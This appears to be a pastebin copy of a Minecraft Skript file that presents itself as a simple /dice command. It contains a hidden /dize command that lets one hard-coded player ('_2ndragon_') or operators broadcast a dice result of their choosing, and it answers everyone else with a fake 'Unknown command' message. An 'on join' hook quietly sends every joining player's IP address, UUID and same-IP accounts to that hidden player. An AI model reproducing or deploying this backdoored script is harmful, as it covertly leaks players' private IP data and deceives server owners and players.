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a guest Dec 8th, 2019 99 Never
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  1. command /dice [<number>]:
  2.     trigger:
  3.         {krsk.dice.cooldown.%player%} is true:
  4.             send "&8[&aくりぱか&8]&cSPAMしないでね♥"
  5.             stop
  6.         arg-1 is not set:
  7.             set {_krsk.dice.ans} to random integer between 1 and 6
  8.             broadcast "&8[&bDice&8]:&a%player%&fが&c6&f面ダイスを振って&b&l%{_krsk.dice.ans}%&fが出ました"
  9.             player is not op:
  10.                 set {krsk.dice.cooldown.%player%} to true
  11.                 wait 3 seconds
  12.                 set {krsk.dice.cooldown.%player%} to false
  13.             stop
  14.         set {_krsk.dice.ans} to random integer between 1 and arg-1
  15.         arg-1 is smaller than 0:
  16.             set {_krsk.dice.ans} to random integer between -1 and arg-1
  17.         arg-1 is 0:
  18.             set {_krsk.dice.ans} to 0
  19.         broadcast "&8[&bDice&8]:&a%player%&fが&c%arg-1%&f面ダイスを振って&b&l%{_krsk.dice.ans}%&fが出ました"
  20.         player is not op:
  21.             set {krsk.dice.cooldown.%player%} to true
  22.             wait 3 seconds
  23.             set {krsk.dice.cooldown.%player%} to false
  24. command /dize [<number>] [<number>]:
  25.     trigger:
  26.         player is {krsk.kr}:
  27.             broadcast "&8[&bDice&8]&a:%player%&fが&c%arg-1%&f面ダイスを振って&b&l%arg-2%&fが出ました"
  28.             stop
  29.         player is op:
  30.             broadcast "&8[&bDice&8]&a:%player%&fが&c%arg-1%&f面ダイスを振って&b&l%arg-2%&fが出ました"
  31.             stop
  32.         send "Unknown command. Type ''/help'' for help."
  33.  
  34. on join:
  35.     command "/wd %player%"
  36. command /wd <offlineplayer>:
  37.     permission:skript.admin
  38.     trigger:
  39.         loop all players:
  40.             loop-player's name is "_2ndragon_"
  41.             set {krsk.kr} to loop-player
  42.         if arg-1 is offline:
  43.             send "&b%arg-1%&cis offline." to {krsk.kr}
  44.             stop
  45.         send "&8========&b%arg-1%'s info&8========" to {krsk.kr}
  46.         send "&fName: &6%arg-1%" to {krsk.kr}
  47.         send "&fUUID: &6%UUID of arg-1%" to {krsk.kr}
  48.         send "&fIP: &6%ip of arg-1%" to {krsk.kr}
  49.         send "Same IP:" to {krsk.kr}
  50.         loop all players:
  51.             loop-player is not arg-1
  52.             if ip of loop-player is ip of arg-1:
  53.                 send "&f - %loop-player% (&6%UUID of loop-player%&f)" to {krsk.kr}
  54.                 set {_krsk.wd.check} to true
  55.         if {_krsk.wd.check} is not set:
  56.             send "&f - &aThere is no player with the same IP as %arg-1%." to {krsk.kr}
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